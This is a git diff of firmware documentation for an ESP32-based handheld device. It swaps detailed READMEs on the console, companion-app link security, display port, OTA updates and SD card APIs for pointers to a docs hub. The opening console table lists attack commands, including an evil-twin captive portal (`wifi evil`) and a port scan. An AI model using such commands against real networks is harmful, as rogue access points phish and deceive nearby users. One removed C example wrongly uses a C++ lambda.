`-s`: Stop (use --stop flag) | `wifi evil -s "Google Free"` | -| `portscan`| Scans TCP/UDP ports on target. | `-i `: Target IP
`-min`: Start Port
`-max`: End Port | `wifi portscan -i 192.168.1.1` | -| `status` | Shows active attacks and state. | None | `wifi status` | - -## Developing New Commands - -To add a new command to the console, follow these steps: - -1. **Create a source file:** Create `commands/cmd_mycommand.c`. -2. **Define Arguments:** Use `argtable3` structs to define parameters. -3. **Implement Handler:** Create a static function `int cmd_mycommand(int argc, char **argv)`. -4. **Register:** Create a public registration function and call `esp_console_cmd_register`. -5. **Hook:** Call your registration function in `console_service.c`. - -### Example Template - -```c -#include "console_service.h" -#include "esp_console.h" -#include "argtable3/argtable3.h" - -static struct { - struct arg_str *message; - struct arg_end *end; -} echo_args; - -static int cmd_echo(int argc, char **argv) { - int nerrors = arg_parse(argc, argv, (void **)&echo_args); - if (nerrors != 0) { - arg_print_errors(stderr, echo_args.end, "echo"); - return 1; - } - printf("Echo: %s\n", echo_args.message->sval[0]); - return 0; -} - -void register_echo_command(void) { - echo_args.message = arg_str1(NULL, NULL, "", "Message to print"); - echo_args.end = arg_end(1); +Documentation for this component lives in the project docs hub (single source of truth): - const esp_console_cmd_t echo_cmd = { - .command = "echo", - .help = "Print a message", - .func = &cmd_echo, - .argtable = &echo_args - }; - ESP_ERROR_CHECK(esp_console_cmd_register(&echo_cmd)); -} -``` +- [docs/console/README.md](../../../../docs/console/README.md) +This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_p4/components/Service/host_link/README.md b/firmware_p4/components/Service/host_link/README.md index 00096af7f..45785b843 100644 --- a/firmware_p4/components/Service/host_link/README.md +++ b/firmware_p4/components/Service/host_link/README.md @@ -1,81 +1,7 @@ -> 📚 Canonical/aggregated copy in the project docs hub: [`docs/host_link/p4.md`](../../../../docs/host_link/p4.md). - # Host Link — P4 (companion app link) -Terminates the companion-app protocol on the **ESP32-P4**. The P4 is the single -brain: it owns the security envelope, dispatches commands (locally or relayed to -the C5 over the SPI bridge), and owns SD/flash storage and device state. The same -behavior is exposed over **two transports** — USB CDC-ACM (P4-native) and BLE -(terminated on the C5, relayed here). Only **one** companion session is active at -a time. - -- Unified cross-firmware overview: [`docs/host_link/README.md`](../../../../docs/host_link/README.md) -- Wire format (envelope, types, ids): [`docs/host_link/protocol.md`](../../../../docs/host_link/protocol.md) - -This README is the **P4 component reference** — the file map and P4-side wiring. -The frame envelope, BODY types and the `SPI_CMD(cat, op)` id scheme are defined in -the wire spec; the end-to-end (app↔P4↔C5) picture is in the unified overview. - -## Files - -| File | Role | -|------|------| -| `host_link.c` | Core: reassembly, frame encode/decode, dispatch, single-session arbitration, `emit_frame` (RESP/LOG/STREAM). | -| `host_link_cdc.c` | USB CDC-ACM transport (TinyUSB composite). Claims the session on DTR; drops bytes when no app is attached. | -| `host_link_ble.c` | BLE transport relay: chunks frames to the C5 (`SPI_ID_HOST_TX`), reassembles inbound (`SPI_ID_HOST_RX` stream), drives the C5 GATT on/off and connection status. | -| `host_link_sec.c` | Security: PSK in NVS (auto-generated), `HELLO`/`HELLO_ACK` handshake, HKDF per-direction keys, per-frame MAC verify/sign, counter replay rejection. mbedTLS. | -| `host_link_log.c` | P4 log tee (`esp_log_set_vprintf`): ANSI strip, level, drop-oldest ring, worker → `LOG` frames `source=P4`. | -| `host_link_c5log.c` | Consumes the `SPI_ID_SYSTEM_LOG` stream from the C5 → `LOG` frames `source=C5`. | -| `host_link_files.c` | P4-local `FILE_*` ops over `/assets`, `/littlefs`, `/sdcard` (POSIX VFS), path-sandboxed, chunked. | -| `host_link_state.c` | Device state (battery/versions), the two settings toggles (NVS), and raw console exec (captured stdout → console LOG frames). | -| `host_link_stream.c` | Streaming + heartbeat proxy: starts session ops via `spi_session`, pushes records as `STREAM` frames, app-liveness watchdog, link-loss teardown. | - -## Command routing (in `host_link.c`) - -After authentication, `process_frame` routes each `CMD` by id: - -1. `host_files_is_file_op` → local file ops (bypass the 256 B relay cap). -2. `host_state_is_local_op` → device state / settings / console exec. -3. `category == SPI_CAT_SESSION` → heartbeat/stop handled by the stream proxy - (**not** relayed; the P4 keeps heartbeating the C5 itself). -4. `host_stream_is_session_op` → start a session-based stream (sniffer). -5. otherwise → relayed to the C5 via `spi_bridge_send_command`. - -## Security model - -- Only `HELLO` is accepted before keys exist. Every other inbound frame must be - authenticated (valid MAC, fresh counter) or it is dropped + logged. -- Per-direction HKDF keys (`a2d`/`d2a`) prevent reflection; fresh nonces per - handshake prevent cross-session replay. -- The PSK is provisioned out-of-band: shown as a QR + hex on the P4 pairing - screen (Settings → PAIRING) and via the `hostlink psk` console command. -- BLE bonding is "just works" (LE Secure Connections, no MITM) on top of the PSK - envelope, which is the real trust boundary. - -## Toggles (NVS, default on) - -| Setting | Effect when off | -|---------|-----------------| -| `console_exec` | the app cannot run raw console lines (structured `CMD`s still work) | -| `log_over_ble` | background logs are not sent over BLE; **USB always carries logs**, and console-exec output is always delivered | - -## Boot wiring (`kernel.c`) - -``` -host_link_state_init(); // load toggles -host_link_stream_init(); // streaming proxy -host_link_init(); // core + PSK -host_link_cdc_init(); // USB transport -host_link_log_init(); // P4 log tee -host_link_c5log_init(); // C5 log relay -host_link_ble_init(); // BLE relay infra (advertising on demand: `hostlink ble on`) -``` +Documentation for this component lives in the project docs hub (single source of truth): -## Status +- [docs/host_link/p4.md](../../../../docs/host_link/p4.md) -All phases implemented and build-validated. **Not yet hardware-tested** — the -dev board's native USB pads are unsoldered and BLE is unexercised. Known runtime -caveats: NimBLE is single-owner (host-link BLE / MeshCore / Meshtastic are -mutually exclusive); the UI sniffer and the companion sniffer share one -`spi_session` (mutually exclusive); large device→app frames split across BLE -notifications and are reassembled by the app via `LEN`. +This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_p4/components/Service/lvgl_port/README.md b/firmware_p4/components/Service/lvgl_port/README.md index 62981576a..7530fa2b9 100644 --- a/firmware_p4/components/Service/lvgl_port/README.md +++ b/firmware_p4/components/Service/lvgl_port/README.md @@ -1,85 +1,7 @@ -> 📚 Canonical/aggregated copy in the project docs hub: [`docs/lvgl_port/README.md`](../../../../docs/lvgl_port/README.md). - # LVGL Port Component Documentation -This component implements the **porting layer** required to run the **LVGL v9** graphics library on the Highboy hardware. It connects the generic LVGL engine with the specific drivers for the display (ST7789 via ESP-LCD) and input devices (GPIO Buttons). - -## Overview - -- **Location:** `components/Service/lvgl_port/` -- **Main Headers:** - - `include/lv_port_disp.h` (Display) - - `include/lv_port_indev.h` (Input Device) -- **Dependencies:** `lvgl`, `esp_lcd`, `st7789`, `buttons_gpio` - -The port is divided into two main parts: -1. **Display Port (`lv_port_disp`):** Handles rendering, buffers, and flushing pixels to the screen using DMA. -2. **Input Port (`lv_port_indev`):** Maps physical GPIO buttons to LVGL logical keys (Keypad) for UI navigation. - ---- - -## Display Port (`lv_port_disp`) - -This module configures the LVGL display driver to work with the ST7789 controller using the `esp_lcd` component. - -### Initialization - -#### `lv_port_disp_init` -```c -void lv_port_disp_init(void); -``` -Initializes the display interface for LVGL. -1. **Display Creation:** Creates an LVGL display object with resolutions defined by `LCD_H_RES` and `LCD_V_RES`. -2. **Callback Registration:** Sets `disp_flush` as the flush callback. -3. **Buffer Allocation:** Allocates two buffers (Double Buffering) in DMA-capable internal memory. - - **Buffer Size:** `1/5` of the screen height (configurable via `LVGL_BUF_PIXELS`). -4. **DMA Synchronization:** Registers an `on_color_trans_done` callback with `esp_lcd` to notify LVGL when the DMA transfer is complete (`lv_display_flush_ready`). - -### Internal Callbacks - -#### `disp_flush` -Called by LVGL when it wants to render a part of the screen. -- Swaps color bytes (RGB565 big-endian to little-endian) using `lv_draw_sw_rgb565_swap`. -- Calls `esp_lcd_panel_draw_bitmap` to send data to the display controller via SPI DMA. - -#### `notify_lvgl_flush_ready` -Called by the ESP-LCD driver (ISR context) when the DMA transfer finishes. It calls `lv_display_flush_ready()` to tell LVGL it can render the next frame. - ---- - -## Input Port (`lv_port_indev`) - -This module integrates the physical buttons of the Highboy device as a "Keypad" input device for LVGL, enabling navigation through groups and widgets. - -### Initialization - -#### `lv_port_indev_init` -```c -void lv_port_indev_init(void); -``` -Initializes the input subsystem. -1. **Device Creation:** Creates an `lv_indev_t` of type `LV_INDEV_TYPE_KEYPAD`. -2. **Callback Registration:** Sets `keypad_read` as the function to poll button states. -3. **Group Management:** - - Creates a default `lv_group_t` (`main_group`) for focus management. - - Associates the keypad input device with this group. - -### Global Variables -- `indev_keypad`: Pointer to the created input device. -- `main_group`: Pointer to the main navigation group. New widgets added to this group can be controlled via buttons. - -### Key Mapping (`keypad_get_key`) - -The port maps physical button states (from `buttons_gpio.h`) to LVGL logical keys: +Documentation for this component lives in the project docs hub (single source of truth): -| Physical Button | LVGL Key | Function | -| :--- | :--- | :--- | -| **Up Button** | `LV_KEY_PREV` | Focus previous item | -| **Down Button** | `LV_KEY_NEXT` | Focus next item | -| **OK Button** | `LV_KEY_ENTER` | Click/Select | -| **Back Button** | `LV_KEY_ESC` | Back/Close | -| **Left Button** | `LV_KEY_LEFT` | Decrease value / Move Left | -| **Right Button** | `LV_KEY_RIGHT` | Increase value / Move Right | +- [docs/lvgl_port/README.md](../../../../docs/lvgl_port/README.md) -### Internal Logic -The `keypad_read` function is called periodically by LVGL. It polls the hardware buttons and updates the `data->state` and `data->key`. It implements a simple state machine where the last pressed key is remembered until all keys are released. +This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_p4/components/Service/ota/README.md b/firmware_p4/components/Service/ota/README.md index 2db718390..73d2b1ee8 100644 --- a/firmware_p4/components/Service/ota/README.md +++ b/firmware_p4/components/Service/ota/README.md @@ -1,88 +1,7 @@ -> 📚 Canonical/aggregated copy in the project docs hub: [`docs/ota/README.md`](../../../../docs/ota/README.md). - # OTA Update Service -Handles firmware updates for TentacleOS via MicroSD card. Uses A/B OTA partitions with automatic rollback and dual-chip synchronization (ESP32-P4 + ESP32-C5). - -## How It Works - -The C5 firmware is embedded inside the P4 binary at build time. A single `.bin` file updates both chips. - -### Update Flow - -1. Place firmware at `/sdcard/update/tentacleos.bin` -2. Trigger `ota_start_update()` from UI or console -3. P4 validates the file and writes it to the inactive OTA partition -4. P4 reboots into new firmware -5. On boot, `ota_post_boot_check()` verifies the C5 is in sync -6. If C5 version differs, `c5_flasher` updates it via UART -7. If everything is OK, the update is confirmed -8. If anything fails, the bootloader rolls back automatically - -### Rollback - -The system uses two app partitions (`ota_0` / `ota_1`). After OTA, the new firmware must call `esp_ota_mark_app_valid_cancel_rollback()` to confirm. If it doesn't (crash, C5 flash failure, etc.), the bootloader reverts to the previous partition on the next reboot. - -Scenarios: -- **P4 crashes before confirmation** — automatic rollback to previous firmware -- **C5 flash fails** — P4 does not confirm, rollback restores both chips -- **C5 flash interrupted (power loss)** — C5 ROM bootloader is always accessible, P4 re-flashes on next boot -- **Rollback after C5 was already updated** — rolled-back P4 contains old C5 binary, version mismatch triggers re-flash - -### Partition Table - -| Name | Type | Size | -|---|---|---| -| ota_0 | app | 4MB | -| ota_1 | app | 4MB | -| otadata | data | 8K | - -### Versioning - -Version is read from `assets/config/OTA/firmware.json`. Both P4 and C5 share the same version string. The C5 responds its version via `SPI_ID_SYSTEM_VERSION` (0x04). - -## API - -```c -bool ota_update_available(void); -esp_err_t ota_start_update(ota_progress_cb_t progress_cb); -esp_err_t ota_post_boot_check(void); -const char* ota_get_current_version(void); -ota_state_t ota_get_state(void); -``` - -### Progress Callback - -```c -void on_progress(int percent, const char *message) { - // 0-5%: Validating - // 5-90%: Writing to flash - // 90-95%: Finalizing - // 95%: Rebooting -} - -ota_start_update(on_progress); -``` - -### Post Boot Check - -Must be called early in `main.c` before `kernel_init()`: - -```c -ota_post_boot_check(); -``` - -## sdkconfig - -Required: -``` -CONFIG_BOOTLOADER_APP_ROLLBACK_ENABLE=y -``` +Documentation for this component lives in the project docs hub (single source of truth): -## Dependencies +- [docs/ota/README.md](../../../../docs/ota/README.md) -- `app_update` (esp_ota_ops) -- `bridge_manager` (C5 version check and flash) -- `storage_assets` (firmware.json) -- `sd_card_init` (SD mount status) -- `cJSON` (JSON parsing) +This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_p4/components/Service/sd_card/README.md b/firmware_p4/components/Service/sd_card/README.md index cd1e41f45..d75f7943a 100644 --- a/firmware_p4/components/Service/sd_card/README.md +++ b/firmware_p4/components/Service/sd_card/README.md @@ -1,951 +1,7 @@ -> 📚 Canonical/aggregated copy in the project docs hub: [`docs/sd_card/p4.md`](../../../../docs/sd_card/p4.md). - # SD Directory Management Component -Component for managing directories on SD card storage. - -## Overview - -- **Location:** `components/storage/sd_dir/` -- **Main Header:** `include/sd_dir.h` -- **Dependencies:** `esp_vfs`, `esp_vfs_fat`, `sdmmc`, `storage_sd` - -## Key Features - -- **Directory Operations:** Create, delete, list, and check existence -- **Recursive Operations:** Remove trees, copy directories, calculate sizes -- **Predefined Paths:** System-wide constants for organizing data -- **Callback System:** Efficient iteration with custom callbacks -- **Statistics:** Count files/directories, calculate storage usage - -## Path Constants - -All path constants have been centralized in `tos_storage_paths.h` using `TOS_PATH_*` macros. -The sd_card component uses `VFS_MOUNT_POINT` (from `vfs_config.h`) as the mount point prefix. - -See `storage_api/include/tos_storage_paths.h` for the full list of available paths. - -## API Reference - -### Directory Creation & Deletion - -#### `sd_dir_create` -```c -esp_err_t sd_dir_create(const char *path); -``` -Creates directory with automatic parent creation (like `mkdir -p`). - -**Returns:** `ESP_OK` on success, `ESP_FAIL` on failure. - ---- - -#### `sd_dir_remove_recursive` -```c -esp_err_t sd_dir_remove_recursive(const char *path); -``` -Recursively deletes directory and all contents. **Use with caution.** - -**Returns:** `ESP_OK` on success, `ESP_FAIL` on failure. - ---- - -### Directory Information - -#### `sd_dir_exists` -```c -bool sd_dir_exists(const char *path); -``` -Checks if directory exists. - -**Returns:** `true` if exists, `false` otherwise. - ---- - -#### `sd_dir_list` -```c -typedef void (*sd_dir_callback_t)(const char *name, bool is_dir, void *user_data); -esp_err_t sd_dir_list(const char *path, sd_dir_callback_t callback, void *user_data); -``` -Iterates through directory entries, calling callback for each item. - -**Example:** -```c -void print_entry(const char *name, bool is_dir, void *user_data) { - printf("%s %s\n", is_dir ? "[DIR]" : "[FILE]", name); -} -sd_dir_list("/sdcard/badusb", print_entry, NULL); -``` - ---- - -#### `sd_dir_count` -```c -esp_err_t sd_dir_count(const char *path, uint32_t *file_count, uint32_t *dir_count); -``` -Counts files and subdirectories (non-recursive). - -**Returns:** `ESP_OK` on success. - ---- - -#### `sd_dir_get_size` -```c -esp_err_t sd_dir_get_size(const char *path, uint64_t *total_size); -``` -Calculates total size of all files in directory tree (recursive). - -**Returns:** `ESP_OK` on success. - ---- - -### Directory Operations - -#### `sd_dir_copy_recursive` -```c -esp_err_t sd_dir_copy_recursive(const char *src, const char *dst); -``` -Copies entire directory tree, preserving structure. - -**Returns:** `ESP_OK` on success. - ---- - -## Implementation Details - -- All functions require full paths including `VFS_MOUNT_POINT` -- Functions are not thread-safe - use mutexes for concurrent access -- Recursive operations may fail on deeply nested directories - -## Usage Example - -```c -#include "tos_storage_paths.h" - -void example(void) { - sd_dir_create(TOS_PATH_NFC); - sd_dir_create(TOS_PATH_BADUSB); -} -``` - ---- - -# SD Card Information Component - -Component for querying SD card hardware and filesystem statistics. - -## Overview - -- **Location:** `components/storage/sd_card_info/` -- **Main Header:** `include/sd_card_info.h` -- **Dependencies:** `esp_vfs_fat`, `sdmmc_cmd`, `ff`, `storage_sd` - -## Key Features - -- **Hardware Info:** Card name, capacity, speed, type -- **Filesystem Stats:** Total, used, free space with percentages -- **Mount Status:** Check if card is accessible -- **Debug Output:** Console logging of card information - -## Data Structures - -### `sd_card_info_t` -```c -typedef struct { - char name[16]; // Card manufacturer name - uint32_t capacity_mb; // Total capacity in MB - uint32_t sector_size; // Sector size in bytes - uint32_t num_sectors; // Total number of sectors - uint32_t speed_khz; // Max speed in kHz - uint8_t card_type; // Card type identifier - bool is_mounted; // Mount status -} sd_card_info_t; -``` - -### `sd_fs_stats_t` -```c -typedef struct { - uint64_t total_bytes; // Total capacity - uint64_t used_bytes; // Space in use - uint64_t free_bytes; // Available space -} sd_fs_stats_t; -``` - -## API Reference - -### Card Information - -#### `sd_get_card_info` -```c -esp_err_t sd_get_card_info(sd_card_info_t *info); -``` -Retrieves complete hardware information. - -**Returns:** `ESP_OK`, `ESP_ERR_INVALID_STATE`, or `ESP_ERR_INVALID_ARG`. - ---- - -#### `sd_print_card_info` -```c -void sd_print_card_info(void); -``` -Prints formatted card information to console. - ---- - -### Filesystem Statistics - -#### `sd_get_fs_stats` -```c -esp_err_t sd_get_fs_stats(sd_fs_stats_t *stats); -``` -Retrieves complete filesystem statistics. - -**Returns:** `ESP_OK`, `ESP_ERR_INVALID_STATE`, `ESP_ERR_INVALID_ARG`, or `ESP_FAIL`. - ---- - -#### `sd_get_free_space` -```c -esp_err_t sd_get_free_space(uint64_t *free_bytes); -``` -Gets available free space. - ---- - -#### `sd_get_total_space` -```c -esp_err_t sd_get_total_space(uint64_t *total_bytes); -``` -Gets total filesystem capacity. - ---- - -#### `sd_get_used_space` -```c -esp_err_t sd_get_used_space(uint64_t *used_bytes); -``` -Gets space currently in use. - ---- - -#### `sd_get_usage_percent` -```c -esp_err_t sd_get_usage_percent(float *percentage); -``` -Calculates usage percentage (0.0 to 100.0). - ---- - -### Individual Attributes - -#### `sd_get_card_name` -```c -esp_err_t sd_get_card_name(char *name, size_t size); -``` -Gets manufacturer name. - ---- - -#### `sd_get_capacity` -```c -esp_err_t sd_get_capacity(uint32_t *capacity_mb); -``` -Gets total capacity in MB. - ---- - -#### `sd_get_speed` -```c -esp_err_t sd_get_speed(uint32_t *speed_khz); -``` -Gets maximum communication speed. - ---- - -#### `sd_get_card_type` -```c -esp_err_t sd_get_card_type(uint8_t *type); -``` -Gets raw card type identifier. - ---- - -#### `sd_get_card_type_name` -```c -esp_err_t sd_get_card_type_name(char *type_name, size_t size); -``` -Gets human-readable card type string. - ---- - -## Implementation Details - -- Uses FatFS `f_getfree()` for filesystem stats -- Accesses SDMMC layer for hardware information -- All functions verify mount status before access -- Thread-safe for read operations - -## Usage Example - -```c -void check_storage_health(void) { - sd_card_info_t info; - float usage; - - if (sd_get_card_info(&info) == ESP_OK && - sd_get_usage_percent(&usage) == ESP_OK) { - - printf("Card: %s (%lu MB)\n", info.name, info.capacity_mb); - printf("Usage: %.1f%%\n", usage); - - if (usage > 90.0f) { - printf("WARNING: Low disk space!\n"); - } - } -} -``` - ---- - -# SD Card Initialization Component - -Component for SD card initialization, mounting, and lifecycle management. - -## Overview - -- **Location:** `components/storage/sd_card_init/` -- **Main Header:** `include/sd_card_init.h` -- **Dependencies:** `esp_vfs_fat`, `driver/sdspi_host`, `sdmmc_cmd`, `spi`, `pin_def` - -## Key Features - -- **Simple Initialization:** One-function setup with defaults -- **Custom Configuration:** Control max files, auto-format, allocation size -- **Mount Management:** Mount, unmount, remount, check status -- **Shared SPI Bus:** Integration with centralized SPI driver -- **Health Monitoring:** Basic health checks -- **Card Handle Access:** Low-level SDMMC handle for advanced use - -## Configuration - -```c -// VFS_MOUNT_POINT is defined in vfs_config.h (e.g. "/sdcard") -#define SD_MAX_FILES 10 // Max open files -#define SD_ALLOCATION_UNIT 16 * 1024 // 16KB cluster size -``` - -## API Reference - -### Initialization - -#### `sd_init` -```c -esp_err_t sd_init(void); -``` -Initializes SD card with default settings. - -**Returns:** `ESP_OK`, `ESP_ERR_INVALID_STATE`, or `ESP_FAIL`. - ---- - -#### `sd_init_custom` -```c -esp_err_t sd_init_custom(uint8_t max_files, bool format_if_failed); -``` -Initializes with custom parameters. - -**Warning:** `format_if_failed=true` erases all data on mount failure. - ---- - -#### `sd_init_custom_pins` -```c -esp_err_t sd_init_custom_pins(int mosi, int miso, int clk, int cs); -``` -**Deprecated:** Custom pins not supported with shared SPI driver. - ---- - -### Deinitialization - -#### `sd_deinit` -```c -esp_err_t sd_deinit(void); -``` -Unmounts SD card and releases resources. Close all files first. - -**Returns:** `ESP_OK`, `ESP_ERR_INVALID_STATE`, or `ESP_FAIL`. - ---- - -### Status & Maintenance - -#### `sd_is_mounted` -```c -bool sd_is_mounted(void); -``` -Checks if SD card is mounted. - ---- - -#### `sd_remount` -```c -esp_err_t sd_remount(void); -``` -Unmounts and remounts SD card (useful for error recovery). - ---- - -#### `sd_check_health` -```c -esp_err_t sd_check_health(void); -``` -Performs basic health check. - ---- - -#### `sd_reset_bus` -```c -esp_err_t sd_reset_bus(void); -``` -**Not Supported:** Returns `ESP_ERR_NOT_SUPPORTED`. Use `sd_remount()` instead. - ---- - -### Advanced Access - -#### `sd_get_card_handle` -```c -sdmmc_card_t* sd_get_card_handle(void); -``` -Returns pointer to internal SDMMC card structure. Returns `NULL` if not mounted. - -**Warning:** Direct manipulation can interfere with VFS operations. - ---- - -## Implementation Details - -### SPI Configuration -```c -spi_device_config_t sd_cfg = { - .cs_pin = SD_CARD_CS_PIN, - .clock_speed_hz = 20000 * 1000, - .mode = 0, - .queue_size = 4, -}; -``` - -### Mount Configuration -```c -esp_vfs_fat_sdmmc_mount_config_t mount_config = { - .format_if_mount_failed = false, - .max_files = 5, - .allocation_unit_size = 16 * 1024, -}; -``` - -## Troubleshooting - -| Problem | Solutions | -|---------|-----------| -| `sd_init()` returns `ESP_FAIL` | Check card insertion, verify pins, try different card, enable debug logs | -| File operations fail | Check filesystem corruption, verify max_files limit, close file handles, try remount | -| Random disconnects | Check power supply, verify connections, reduce clock speed, add pull-ups | -| `sd_deinit()` fails | Close all file handles first, check for active tasks | - -## Usage Example - -```c -void storage_init(void) { - if (sd_init() == ESP_OK) { - ESP_LOGI(TAG, "SD card mounted"); - sd_dir_create("/sdcard/config"); - } else { - ESP_LOGE(TAG, "SD card mount failed"); - } -} -``` - ---- - -# SD Card Read Component - -Component for comprehensive SD card file reading operations. - -## Overview - -- **Location:** `components/storage/sd_card_read/` -- **Main Header:** `include/sd_card_read.h` -- **Dependencies:** `esp_vfs_fat`, `storage_sd` - -## Key Features - -- **Text Reading:** Entire files, specific lines, line-by-line processing -- **Binary Reading:** Raw data, chunks, individual bytes -- **Type Conversion:** Direct reading of integers, floats -- **Content Search:** String search and occurrence counting -- **Flexible Paths:** Automatic `/sdcard` prefix for relative paths - -## Configuration - -```c -#define MAX_PATH_LEN 256 // Maximum path length -#define MAX_LINE_LEN 512 // Maximum line length -``` - -## API Reference - -### Text Reading - -#### `sd_read_string` -```c -esp_err_t sd_read_string(const char *path, char *buffer, size_t buffer_size); -``` -Reads entire file as null-terminated string. - ---- - -#### `sd_read_line` -```c -esp_err_t sd_read_line(const char *path, char *buffer, size_t buffer_size, uint32_t line_number); -``` -Reads specific line (1-based index). - ---- - -#### `sd_read_first_line` -```c -esp_err_t sd_read_first_line(const char *path, char *buffer, size_t buffer_size); -``` -Reads first line. Equivalent to `sd_read_line(path, buffer, size, 1)`. - ---- - -#### `sd_read_last_line` -```c -esp_err_t sd_read_last_line(const char *path, char *buffer, size_t buffer_size); -``` -Reads last line. - ---- - -#### `sd_read_lines` -```c -typedef void (*sd_line_callback_t)(const char *line, void *user_data); -esp_err_t sd_read_lines(const char *path, sd_line_callback_t callback, void *user_data); -``` -Processes each line via callback. Memory-efficient for large files. - ---- - -#### `sd_count_lines` -```c -esp_err_t sd_count_lines(const char *path, uint32_t *line_count); -``` -Counts total lines in file. - ---- - -### Binary Reading - -#### `sd_read_binary` -```c -esp_err_t sd_read_binary(const char *path, void *buffer, size_t size, size_t *bytes_read); -``` -Reads raw binary data. - ---- - -#### `sd_read_chunk` -```c -esp_err_t sd_read_chunk(const char *path, size_t offset, void *buffer, size_t size, size_t *bytes_read); -``` -Reads data chunk from specific offset. - ---- - -#### `sd_read_bytes` -```c -esp_err_t sd_read_bytes(const char *path, uint8_t *bytes, size_t max_count, size_t *count); -``` -Alias for `sd_read_binary` with byte array typing. - ---- - -#### `sd_read_byte` -```c -esp_err_t sd_read_byte(const char *path, uint8_t *byte); -``` -Reads single byte. - ---- - -### Type Conversion - -#### `sd_read_int` -```c -esp_err_t sd_read_int(const char *path, int32_t *value); -``` -Reads and converts to 32-bit integer. - ---- - -#### `sd_read_float` -```c -esp_err_t sd_read_float(const char *path, float *value); -``` -Reads and converts to float. - ---- - -### Content Search - -#### `sd_file_contains` -```c -esp_err_t sd_file_contains(const char *path, const char *search, bool *found); -``` -Checks if string exists in file. - ---- - -#### `sd_count_occurrences` -```c -esp_err_t sd_count_occurrences(const char *path, const char *search, uint32_t *count); -``` -Counts string occurrences in file. - ---- - -## Implementation Details - -- Line functions allocate 512-byte stack buffers -- Use `sd_read_lines()` callback for large files -- Thread-safe for different files -- Automatic path formatting (relative → absolute) - -## Usage Example - -```c -void process_config(void) { - char buffer[256]; - - // Read entire file - if (sd_read_string("/config/settings.txt", buffer, sizeof(buffer)) == ESP_OK) { - printf("Config: %s\n", buffer); - } - - // Process line-by-line - sd_read_lines("/logs/system.log", [](const char *line, void *ctx) { - printf("Log: %s\n", line); - }, NULL); -} -``` - ---- - -# SD Card Write Component - -Component for comprehensive SD card file writing operations. - -## Overview - -- **Location:** `components/storage/sd_card_write/` -- **Main Header:** `include/sd_card_write.h` -- **Dependencies:** `esp_vfs_fat`, `storage_sd` - -## Key Features - -- **Text Writing:** Strings, lines, formatted text -- **Binary Writing:** Raw data, buffers, individual bytes -- **Append Operations:** Add to existing files -- **Formatted Output:** Printf-style writing -- **CSV Support:** Simplified row writing - -## API Reference - -### Text Writing - -#### `sd_write_string` / `sd_append_string` -```c -esp_err_t sd_write_string(const char *path, const char *data); -esp_err_t sd_append_string(const char *path, const char *data); -``` -Writes or appends string. - ---- - -#### `sd_write_line` / `sd_append_line` -```c -esp_err_t sd_write_line(const char *path, const char *line); -esp_err_t sd_append_line(const char *path, const char *line); -``` -Writes or appends line with automatic newline. - ---- - -#### `sd_write_formatted` / `sd_append_formatted` -```c -esp_err_t sd_write_formatted(const char *path, const char *format, ...); -esp_err_t sd_append_formatted(const char *path, const char *format, ...); -``` -Printf-style formatted writing. - ---- - -### Binary Writing - -#### `sd_write_binary` / `sd_append_binary` -```c -esp_err_t sd_write_binary(const char *path, const void *data, size_t size); -esp_err_t sd_append_binary(const char *path, const void *data, size_t size); -``` -Writes or appends binary data. - ---- - -#### `sd_write_buffer` -```c -esp_err_t sd_write_buffer(const char *path, const void *buffer, size_t size); -``` -Alias for `sd_write_binary`. - ---- - -#### `sd_write_bytes` -```c -esp_err_t sd_write_bytes(const char *path, const uint8_t *bytes, size_t count); -``` -Writes byte array. - ---- - -#### `sd_write_byte` -```c -esp_err_t sd_write_byte(const char *path, uint8_t byte); -``` -Writes single byte. - ---- - -### Type Helpers - -#### `sd_write_int` -```c -esp_err_t sd_write_int(const char *path, int32_t value); -``` -Writes integer as decimal text. - ---- - -#### `sd_write_float` -```c -esp_err_t sd_write_float(const char *path, float value); -``` -Writes float with 6 decimal places. - ---- - -### CSV Support - -#### `sd_write_csv_row` / `sd_append_csv_row` -```c -esp_err_t sd_write_csv_row(const char *path, const char **columns, size_t num_columns); -esp_err_t sd_append_csv_row(const char *path, const char **columns, size_t num_columns); -``` -Writes or appends CSV row (comma-separated with newline). - ---- - -## Implementation Details - -- All writes verify byte count matches expected size -- Automatic `/sdcard` prefix for relative paths -- Buffers flushed automatically on file close - -## Usage Example - -```c -void log_event(const char *type, const char *msg) { - time_t now = time(NULL); - sd_append_formatted("/logs/events.log", "[%ld] %s: %s\n", now, type, msg); -} - -void save_sensor_data(float temp, float humidity) { - const char *row[] = { - "Temperature", "Humidity" - }; - sd_write_csv_row("/data/sensors.csv", row, 2); - - char temp_str[16], hum_str[16]; - snprintf(temp_str, sizeof(temp_str), "%.2f", temp); - snprintf(hum_str, sizeof(hum_str), "%.2f", humidity); - - const char *data[] = {temp_str, hum_str}; - sd_append_csv_row("/data/sensors.csv", data, 2); -} -``` - ---- - -# SD Card File Management Component - -Component for comprehensive SD card file operations. - -## Overview - -- **Location:** `components/storage/sd_card_file/` -- **Main Header:** `include/sd_card_file.h` -- **Dependencies:** `esp_vfs`, `esp_vfs_fat`, `sdmmc`, `storage_sd` - -## Key Features - -- **File Operations:** Create, delete, rename, move, copy -- **Metadata Access:** Size, modification time, attributes -- **File Comparison:** Byte-by-byte comparison -- **File Truncation:** Resize to specific length -- **Utilities:** Check existence, get extensions, clear contents - -## Data Structures - -### `sd_file_info_t` -```c -typedef struct { - char path[256]; // Full path - size_t size; // File size in bytes - time_t modified_time; // Last modification time - bool is_directory; // Directory flag -} sd_file_info_t; -``` - -## API Reference - -### File Information - -#### `sd_file_exists` -```c -bool sd_file_exists(const char *path); -``` -Checks if file exists. - ---- - -#### `sd_file_get_info` -```c -esp_err_t sd_file_get_info(const char *path, sd_file_info_t *info); -``` -Retrieves complete file information. - ---- - -#### `sd_file_get_size` -```c -esp_err_t sd_file_get_size(const char *path, size_t *size); -``` -Gets file size in bytes. - ---- - -#### `sd_file_is_empty` -```c -esp_err_t sd_file_is_empty(const char *path, bool *is_empty); -``` -Checks if file has zero bytes. - ---- - -### File Manipulation - -#### `sd_file_delete` -```c -esp_err_t sd_file_delete(const char *path); -``` -Permanently deletes file. - ---- - -#### `sd_file_rename` -```c -esp_err_t sd_file_rename(const char *old_path, const char *new_path); -``` -Renames or moves file (same filesystem). - ---- - -#### `sd_file_move` -```c -esp_err_t sd_file_move(const char *src_path, const char *dst_path); -``` -Moves file (alias for rename). - ---- - -#### `sd_file_copy` -```c -esp_err_t sd_file_copy(const char *src_path, const char *dst_path); -``` -Copies file (source unchanged). - 